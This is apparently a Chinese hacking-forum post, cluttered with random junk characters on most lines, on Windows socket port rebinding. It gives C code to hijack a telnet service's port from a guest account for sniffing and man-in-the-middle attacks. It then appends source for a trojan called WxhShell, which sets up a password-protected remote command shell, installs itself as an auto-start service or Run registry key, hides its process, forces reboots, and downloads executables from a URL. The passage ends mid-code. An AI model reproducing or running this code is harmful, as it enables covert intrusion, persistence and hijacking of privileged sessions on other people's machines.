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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u`-:'@4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h4ghMBo%  
TC:t!:  
  saddr.sin_family = AF_INET; rXe+#`m2  
xBw ua;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NX]6RZr-  
w#bdb;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (~b0-3s  
N a.e1A&?j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :4"b(L  
Pb@$RAU6 3  
  这意味着什么?意味着可以进行如下的攻击: /wHfc[b>  
$uK[[k~=S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5hAs/i9_  
t +CU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H a`V"X{}  
oOQ0f |MGp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X%B2xQM 5  
mT1Q7ta*P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'w\Gd7E  
f_QZ ql  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h#|Ac>fz  
T=pKen/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M3)Id?|]6  
).$kp2IN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lstnxi%x  
EixAmG  
  #include !/e8x;_  
  #include :Ui'x8yt  
  #include Z2k5qs7g  
  #include    Mg u=cm )  
  DWORD WINAPI ClientThread(LPVOID lpParam);   42DB0+_wz  
  int main() -kzg(+sm  
  { +n<;);h  
  WORD wVersionRequested; 7)Bizlf  
  DWORD ret; CH=k=)() ]  
  WSADATA wsaData; gAy"W$F  
  BOOL val; 28xLaob  
  SOCKADDR_IN saddr; ,aSK L1  
  SOCKADDR_IN scaddr; sH)40QmO{  
  int err; ]-u>HO g\  
  SOCKET s; JB!KOzw  
  SOCKET sc; =Xb:.  
  int caddsize; %0eVm   
  HANDLE mt; ]B-3Lh  
  DWORD tid;   4= hz4(5a  
  wVersionRequested = MAKEWORD( 2, 2 ); jX91=78d  
  err = WSAStartup( wVersionRequested, &wsaData ); ' C1yqkIa`  
  if ( err != 0 ) { Jb` yK@x  
  printf("error!WSAStartup failed!\n"); bRc~e@  
  return -1; lO^YAOY  
  } [~IFg~*,  
  saddr.sin_family = AF_INET; 0Y ld!L  
   NE!]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m9 f[nT  
N< 7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P;l D ri  
  saddr.sin_port = htons(23); ~C;gEE-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v@]\  P<E  
  { 'tzN.p1O  
  printf("error!socket failed!\n"); AU H_~SY  
  return -1; % KmhR2v  
  } >W@3_{0  
  val = TRUE; {FNq&)#`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V]A*' ke/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g 2&P  
  { $8Y|& P  
  printf("error!setsockopt failed!\n"); }VXZM7@u  
  return -1; D,;6$Pvg^  
  } |t h"ET  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6I$:mHEhd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GF awmNZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A LnE[}N6,  
S?LUSb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5QJ FNE  
  { WCZeY?_^c  
  ret=GetLastError(); p3z%Y$!Tm  
  printf("error!bind failed!\n"); XYsU)(;j  
  return -1; ]k.'~ Syz  
  } Nc[V kJ]  
  listen(s,2); )Aa  h  
  while(1) dW>$C_`?  
  { 92S,W?(  
  caddsize = sizeof(scaddr); B#;0{  
  //接受连接请求 Cu +u'&U!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #sp8 !8|y  
  if(sc!=INVALID_SOCKET) DFFB:<  
  { `tZ`a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5Dlx]_  
  if(mt==NULL) (dVrGa54  
  { ~`Xu 6+1o  
  printf("Thread Creat Failed!\n"); maTZNzy  
  break; &C7HG^;W9  
  } `h|>;u   
  } i7(\i2_P  
  CloseHandle(mt); PFnq:G^L  
  } f$^+;j  
  closesocket(s); /Jci1o  
  WSACleanup(); n32.W?9  
  return 0; b5Pakz=jNM  
  }   !u=,bfyH  
  DWORD WINAPI ClientThread(LPVOID lpParam) @:"GgkyDl#  
  { !4l\*L  
  SOCKET ss = (SOCKET)lpParam; ;NzS;C'  
  SOCKET sc; M,b^W:('4  
  unsigned char buf[4096]; E)7ODRVbl  
  SOCKADDR_IN saddr; <"XDIvpc%L  
  long num; 86,$ I+  
  DWORD val; =q-HR+  
  DWORD ret; >ey- j\_v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `Gp!Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rv?d3QqIC  
  saddr.sin_family = AF_INET; [5Dg%?x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qW6}^aa  
  saddr.sin_port = htons(23); kbkq.fYr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) : 'LG%E:b  
  { .wfN.Z  
  printf("error!socket failed!\n"); @0>3))  
  return -1; W^^}-9  
  } b|HH9\  
  val = 100; dnP3{!"b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WrGz`  
  { SAEV "  
  ret = GetLastError(); nE)|6  
  return -1; 4{r_EV[(  
  } }w)`)N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E|A,NPf%I  
  { /:}z*a  
  ret = GetLastError(); UUt631  
  return -1; )*Qa 9+ :  
  } 3[jk}2R';p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q b|.;_  
  { UT9=S21  
  printf("error!socket connect failed!\n"); [n_H9$   
  closesocket(sc); D?w-uR%Y  
  closesocket(ss); '*KP{"3\  
  return -1; 2.K"+%  
  } _ z!0ab  
  while(1) 0P_Y6w+  
  { d%istFL)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vo%UiVHy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2rw<]Ce  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !!c.cv'  
  num = recv(ss,buf,4096,0); DT=!  
  if(num>0) \?} {wh8  
  send(sc,buf,num,0); \4SFD 3$&  
  else if(num==0) pr-{/6j6  
  break; 6wWA(![w"  
  num = recv(sc,buf,4096,0); 1?(mE7H#  
  if(num>0) -BV&u(  
  send(ss,buf,num,0); NRKAEf_#w  
  else if(num==0) a<V=C  
  break; w?AE8n$8  
  } ]T+.kC M  
  closesocket(ss); oh;F]*k6  
  closesocket(sc); qR_"aQ7s2  
  return 0 ; iR#jBqXD  
  } IEzZ$9,A5  
{kJ[)7  
^;YD3EZw  
========================================================== ,Z%!38gGsu  
5b B[o6+  
下边附上一个代码,,WXhSHELL t:M({|m Y  
yh5KN_W  
========================================================== @fpxGMy&  
O)5-6lm  
#include "stdafx.h" d*3R0Q|#{  
N13 <!QQ  
#include <stdio.h> NUL~zb  
#include <string.h> /KKX;L[D(  
#include <windows.h> 2 ;B[n;Q{  
#include <winsock2.h> ==(M vu`  
#include <winsvc.h> 4r(rWlM  
#include <urlmon.h> ^:-%tpB#!  
d(a6vEL4  
#pragma comment (lib, "Ws2_32.lib") dl{3fldb  
#pragma comment (lib, "urlmon.lib") 6}ax~wYct  
cDTDim1F  
#define MAX_USER   100 // 最大客户端连接数 00pHnNoxW  
#define BUF_SOCK   200 // sock buffer dy`~%lX?  
#define KEY_BUFF   255 // 输入 buffer vJq`l3&  
'`o+#\,b^%  
#define REBOOT     0   // 重启 sZ4H\  
#define SHUTDOWN   1   // 关机 ^ O`  
2N,*S   
#define DEF_PORT   5000 // 监听端口 Ar'5kPzY>  
56':U29.]  
#define REG_LEN     16   // 注册表键长度 \W@?revK  
#define SVC_LEN     80   // NT服务名长度 ]c5GG!E-g  
\aW5V:?  
// 从dll定义API x@k9]6/zs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2=3iA09px  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yp ? 2<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `aI%laj&M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \|&5eeE@  
/r?X33D!  
// wxhshell配置信息 etDB|(,z  
struct WSCFG { |n &6z  
  int ws_port;         // 监听端口 JqZ%*^O  
  char ws_passstr[REG_LEN]; // 口令 j/Kw-h ,5"  
  int ws_autoins;       // 安装标记, 1=yes 0=no /V*eAn8>  
  char ws_regname[REG_LEN]; // 注册表键名 ]jYl:41yI  
  char ws_svcname[REG_LEN]; // 服务名 ]JM9 ^F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D>1Dao  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l`u*,"$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kdo)y(fn@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *LhR$(F(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3~S~)quwP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k4l72 'P  
x-W0 h  
}; l:[=M:#p  
{M$8V~8D  
// default Wxhshell configuration N,1wfOE  
struct WSCFG wscfg={DEF_PORT, :dj@i6  
    "xuhuanlingzhe", l-npz)EM  
    1, ~lL($rE  
    "Wxhshell", s-DtkO  
    "Wxhshell", #nd,cn  
            "WxhShell Service", WgL! @g  
    "Wrsky Windows CmdShell Service", D *tBbV  
    "Please Input Your Password: ", 3A9|{Vaz+6  
  1, j?,$*Fi  
  "http://www.wrsky.com/wxhshell.exe", ls5S9R 5  
  "Wxhshell.exe" 0'<S7?~|  
    }; Ylf4q/-  
'F~u \m=E  
// 消息定义模块 Z~R i%XG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BKTsc/v2>:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R}]FIu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kDKpuA!  
char *msg_ws_ext="\n\rExit."; 83 n: h08  
char *msg_ws_end="\n\rQuit."; (1o^Dn3  
char *msg_ws_boot="\n\rReboot..."; :z:Blp>nK/  
char *msg_ws_poff="\n\rShutdown..."; ,yF)7fN  
char *msg_ws_down="\n\rSave to "; pqe tYu  
VuY.})+J:  
char *msg_ws_err="\n\rErr!"; ev3x*}d0  
char *msg_ws_ok="\n\rOK!"; g[$B9 0  
Y:a(y*y<  
char ExeFile[MAX_PATH]; Vh<`MS0X  
int nUser = 0; JjmL6(*ui  
HANDLE handles[MAX_USER]; xI@~Ig  
int OsIsNt; u%pief  
jBC9Vt;B  
SERVICE_STATUS       serviceStatus; t'J fiGM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >g[W@FhT'k  
"Wm~\)t(  
// 函数声明 A=$oYBB  
int Install(void); ? Z=v&d[o)  
int Uninstall(void); @2mP  
int DownloadFile(char *sURL, SOCKET wsh); ZeeuH"A  
int Boot(int flag); 8syo_sC |  
void HideProc(void); ^Toi_  
int GetOsVer(void); q :bKT#\  
int Wxhshell(SOCKET wsl); C gx?K]>y  
void TalkWithClient(void *cs); x3Ud0[(  
int CmdShell(SOCKET sock); E ( @;p%:  
int StartFromService(void); TI>yi ^}  
int StartWxhshell(LPSTR lpCmdLine); 9)">()8  
BGX@n#:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xo`1#6xsE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #*!$!c{  
0U>Q<I}  
// 数据结构和表定义 f2wW2]Fg  
SERVICE_TABLE_ENTRY DispatchTable[] = GHy#D]Z  
{ ~S3eatM$9  
{wscfg.ws_svcname, NTServiceMain}, G)&'8W F5o  
{NULL, NULL} ^aXBt  
}; Nj0)/)<r+  
&wN 2l-  
// 自我安装 -Q6pV<i  
int Install(void) [R4x[36Zp  
{ IMza 2  
  char svExeFile[MAX_PATH]; mB{{o}'<u  
  HKEY key; Ct)MvZ  
  strcpy(svExeFile,ExeFile); CWp1)% 0=  
W[Bu&?h$  
// 如果是win9x系统,修改注册表设为自启动 >A&@Wp1  
if(!OsIsNt) { prtxE&-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -`OR6jd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KIo}Gd&  
  RegCloseKey(key); U[b;#Y1X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hli 10p$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jj:6 c  
  RegCloseKey(key); 7X(]r1-+\  
  return 0; 2HXKz7da  
    } A+I&.\QAR  
  } <im<(=m9  
} <(4#4=ivP  
else { @@83PJFid  
y.p6%E_`  
// 如果是NT以上系统,安装为系统服务 n=? 0g;1!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); abeSkWUL(  
if (schSCManager!=0) U@MP&sdL  
{ B#"|5  
  SC_HANDLE schService = CreateService ^,lZ58 2  
  ( PuCDsojclh  
  schSCManager, GQ2PmnV +  
  wscfg.ws_svcname, -fJ@R1]  
  wscfg.ws_svcdisp, j yRSEk$  
  SERVICE_ALL_ACCESS, GWhAjL/N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -I-Uh{)j  
  SERVICE_AUTO_START, ,6;xr'[o*  
  SERVICE_ERROR_NORMAL, Xexe{h4t_>  
  svExeFile, JhCkkw  
  NULL, neh;`7~5@K  
  NULL, .l+~)$  
  NULL, 0^_lj9B!  
  NULL, $[iT~B$  
  NULL ^qO=~U!{  
  ); kq~[k.  
  if (schService!=0) Y#&0x_Z  
  { \c~{o+UD-  
  CloseServiceHandle(schService); 6WN(22Io  
  CloseServiceHandle(schSCManager); ; ,=h59`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rS )b1nPA  
  strcat(svExeFile,wscfg.ws_svcname); pp]_/46nN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {^2W>^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #M?F^u[  
  RegCloseKey(key); x}&a{;  
  return 0; Sf&?3a+f  
    } 5m^Hi} S _  
  } 8b:clvh  
  CloseServiceHandle(schSCManager); N3gNOq&  
} AB"1(PbG  
} |Vwc/9`t]>  
pSQCT  
return 1; a1G9wC:e  
} v0`qMBr1y  
+z|UpI  
// 自我卸载 R6q4 ["  
int Uninstall(void) *:9 >W$0u  
{ Fkc x+d  
  HKEY key; 0aC 2 Pym^  
[Iw>|q<e  
if(!OsIsNt) { lC=N:=Mu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3zB|!p C6s  
  RegDeleteValue(key,wscfg.ws_regname); {b'}:aMc  
  RegCloseKey(key); *O+R|Cdp/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ut4r~~Ar  
  RegDeleteValue(key,wscfg.ws_regname); | "Jx  
  RegCloseKey(key); ZU-4})7uSB  
  return 0; jj!N39f   
  } mPs%ZC  
} 5 [ ,+\  
} %'L].+$t  
else { d&[iEU  
jq57C}X}2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X!o[RJY  
if (schSCManager!=0) nAo8uWG  
{ -RG8<bI,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .4Qb5I2#  
  if (schService!=0) M*5,O   
  { 4llD6&%  
  if(DeleteService(schService)!=0) { q.=^i z&m  
  CloseServiceHandle(schService); K,f* SXM  
  CloseServiceHandle(schSCManager); 0A#*4ap  
  return 0; k SB  
  } x37/cu  
  CloseServiceHandle(schService); SU%mmw ES3  
  } t=n+3`g  
  CloseServiceHandle(schSCManager); +I|Rk&  
} J>`v.8y  
} m`hGDp3  
H LjvKE=W  
return 1; t< sp%zXZ  
} 9p <:=T  
tT;8r8@  
// 从指定url下载文件 3A-*vaySV  
int DownloadFile(char *sURL, SOCKET wsh) vO\:vp4fH  
{ [6AHaOhR'  
  HRESULT hr; OmB TA=E<  
char seps[]= "/"; WgE@89  
char *token; >n]oB~P%  
char *file; JXH",""bq  
char myURL[MAX_PATH]; q75ky1^1:  
char myFILE[MAX_PATH]; jcE Msc  
0|g[o:;fl_  
strcpy(myURL,sURL); /@VsqD  
  token=strtok(myURL,seps); O?CdAnhQc`  
  while(token!=NULL) HmvsYP66  
  { Te# ]Cn|  
    file=token; rwy+~  
  token=strtok(NULL,seps); jz*0`9&_  
  } aX|g S\zx  
|2O')3p"9  
GetCurrentDirectory(MAX_PATH,myFILE); tl|ijR  
strcat(myFILE, "\\"); * -0>3  
strcat(myFILE, file); kP@H G<~  
  send(wsh,myFILE,strlen(myFILE),0); 6Lb{r4^  
send(wsh,"...",3,0); yE#g5V&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); le.anJAr  
  if(hr==S_OK) j1/+\8Y  
return 0; xk& NAB  
else }3Qc 24`  
return 1; `?l3Ct*  
`xCOR  
} _ Hc%4I  
!NTH.U:g  
// 系统电源模块 O$^xkv5.  
int Boot(int flag) <:">mV+/  
{ =NadAyv  
  HANDLE hToken; [@//#}5v  
  TOKEN_PRIVILEGES tkp; Hfh!l2P  
m^<p8KZ  
  if(OsIsNt) { u"`*DFjo*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e?b)p5g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lCR!:~  
    tkp.PrivilegeCount = 1; \8{\;L C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :|rPT)yT]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sm)u9  
if(flag==REBOOT) { b?8)7.{F{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -jB3L:  
  return 0; Tg0CE60"  
} 96c?3ya  
else { ^XG*z?Tt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ##cnFQCB  
  return 0; Q,gLi\siI  
} s3:9$.tiR[  
  } M/pMs 6  
  else { FQk!d$BG  
if(flag==REBOOT) { 5pfYEofK[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QTH7grB2v  
  return 0; :QPf~\w?  
} I-DXb M  
else { nls   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1_hW#I\'  
  return 0; $=)gpPT  
} VL\t>n  
} v+xB7w  
uOd& XW  
return 1; 6KRO{QK  
} g9~]s 9  
pr&=n;_ n  
// win9x进程隐藏模块 sILSey5`  
void HideProc(void) ;j9\b9m  
{ E=$p^s  
) #+^ sAO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^x m$EY*Y,  
  if ( hKernel != NULL ) fQdK]rLj  
  { Zsx3/}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R[jEvyD>(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kr-G{b_Pp  
    FreeLibrary(hKernel); E\U`2{^.  
  } M{mSd2  
oM1Qh?  
return; F(,UA+$A  
} F_H82BE+3  
-7{ $ Vj  
// 获取操作系统版本 j Ux z  
int GetOsVer(void) k{I 01  
{ IzLQhDJ1  
  OSVERSIONINFO winfo; fo0+dzazY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %$5H!!~o  
  GetVersionEx(&winfo); n, i'Dhzk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )"+2Z^1-  
  return 1; T~:|!`  
  else x@Hd^xH`  
  return 0; .6f%?oo  
} cyM-)r@YQV  
T0zn,ej  
// 客户端句柄模块 m P'^%TE  
int Wxhshell(SOCKET wsl) oXXC@[??}N  
{ NnT g3:.  
  SOCKET wsh; :'iYxhM.V  
  struct sockaddr_in client; /X'(3'a  
  DWORD myID; VVP:w%yW  
}g7]?Ee  
  while(nUser<MAX_USER) %zk$}}ti.  
{ L;Z0`mdz  
  int nSize=sizeof(client); ig}A9j?]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A][fLlpr  
  if(wsh==INVALID_SOCKET) return 1; '6y}ZE[  
E.|-?xQ6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z7GTaX$d  
if(handles[nUser]==0) YjOs}TD lx  
  closesocket(wsh); 3psU?8(  
else !`41q=r  
  nUser++; A+J*e  
  } L@`ouQ"sa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `K~AhlJUQ  
w@JKl5  
  return 0; p~ HW5\4  
} I$N8tn+E  
GaX[C<Wt  
// 关闭 socket B(xN Gs  
void CloseIt(SOCKET wsh) &nBa=Enf  
{ PxH72hBS  
closesocket(wsh); [ i#zP  
nUser--; b4^`DHRu6  
ExitThread(0); ]BR,M4   
} J+d1&Tw&  
[kE."#  
// 客户端请求句柄 4jD2FFG- G  
void TalkWithClient(void *cs) cuy1DDl  
{ \]$IDt(s  
~/.7l8)  
  SOCKET wsh=(SOCKET)cs; g1t0l%_7^  
  char pwd[SVC_LEN]; 3U_2!zF3_  
  char cmd[KEY_BUFF]; &gzCteS  
char chr[1]; RV@*c4KvO+  
int i,j; @E:,lA  
8\:NMP8W\  
  while (nUser < MAX_USER) { Y ')x/H  
=s<( P1|"  
if(wscfg.ws_passstr) { */|BpakD<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +\v?d&.f0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \7CGUB>L  
  //ZeroMemory(pwd,KEY_BUFF); bV,}Pp+/"!  
      i=0; W.kM7z>G  
  while(i<SVC_LEN) { XQw>EZdj_N  
/Q~i~B 2j-  
  // 设置超时 6? w0  
  fd_set FdRead; u*hSj)vr1  
  struct timeval TimeOut; 8<Hf" M  
  FD_ZERO(&FdRead); qgfi\/$6  
  FD_SET(wsh,&FdRead); W*2U="t  
  TimeOut.tv_sec=8; AM!G1^c  
  TimeOut.tv_usec=0; eH{[C*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x&0vKo;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~c\e'&sc;  
MG.` r{5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U*) 8G  
  pwd=chr[0]; [UH||qW  
  if(chr[0]==0xd || chr[0]==0xa) { ;3@cy|\:  
  pwd=0; soQ1X@"0  
  break; !jTcsN%  
  } d QqK^#  
  i++; HPZ}*m'  
    } <[-nF"Q  
62zYRs\Y)X  
  // 如果是非法用户,关闭 socket -PfX0y9n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 76`8=!]R  
} \ZkA>oO".  
`7r@a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cH&J{WeZa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xU4 +|d  
r8xv#r1  
while(1) { xsD($_  
ax<?GjpM  
  ZeroMemory(cmd,KEY_BUFF); +8RgF   
):[7E(F=  
      // 自动支持客户端 telnet标准   M r5v<  
  j=0; j3{D^|0bP  
  while(j<KEY_BUFF) { '2 PF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N$U$5;r~`  
  cmd[j]=chr[0]; %yv<y+yP~  
  if(chr[0]==0xa || chr[0]==0xd) { 73/P&hT  
  cmd[j]=0; SMpH._VFeE  
  break; _I:/ZF5  
  } =\H!GT  
  j++; Gz,i~XX  
    } ~Vr.J}]J  
;)D];u|_  
  // 下载文件 ,[P{HrHx  
  if(strstr(cmd,"http://")) { WE:24b6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ur:3W6ZKl  
  if(DownloadFile(cmd,wsh)) n[lJLm^(_C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lPw%ErG  
  else iKX-myCz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a,k>Q`  
  } PoG-Rqe  
  else { H|3:6x  
LG9+y  
    switch(cmd[0]) { --$ 4Q(#  
  "@iK' c^  
  // 帮助 j+$rj  
  case '?': { 1_PoqD!q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H4:`6 PSL  
    break; t*Sa@$p  
  } UQ?XqgUM  
  // 安装 UC]\yUK1J  
  case 'i': { L^@'q6*}  
    if(Install()) |}BL F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xhV O3LW'  
    else kmP]SO?tx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6-$jkto  
    break; (l^3Z3zf&  
    } +ElfZ4  
  // 卸载 JTSlWq4  
  case 'r': { /:~\5}tW  
    if(Uninstall()) u0|8Tgf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .HS"}A T  
    else GpY"f c%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  HN=V"a  
    break; I,>- tGK  
    } 7}f}$1   
  // 显示 wxhshell 所在路径 n}F&1Z  
  case 'p': { >,gg5<F-E  
    char svExeFile[MAX_PATH]; /uPcXq:L~  
    strcpy(svExeFile,"\n\r"); A9I{2qW9+Z  
      strcat(svExeFile,ExeFile); 8@i7pBl@  
        send(wsh,svExeFile,strlen(svExeFile),0); ~zCEpU|@N  
    break; r e/@D@%  
    } -]/I73!b  
  // 重启 n0r+A^]  
  case 'b': { C7lH]`W|/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PF)jdcX  
    if(Boot(REBOOT)) @$S+Ne[<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zMbN;tu  
    else { Cn'(<bl  
    closesocket(wsh); '&x#rjo#  
    ExitThread(0); |'P]GK  
    } ^U `[(kz=  
    break; {@6= Q 6L  
    } %HGD;_bhI  
  // 关机 ^o^H3m  
  case 'd': { 2D75:@JL}|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c`J.Tm[_u  
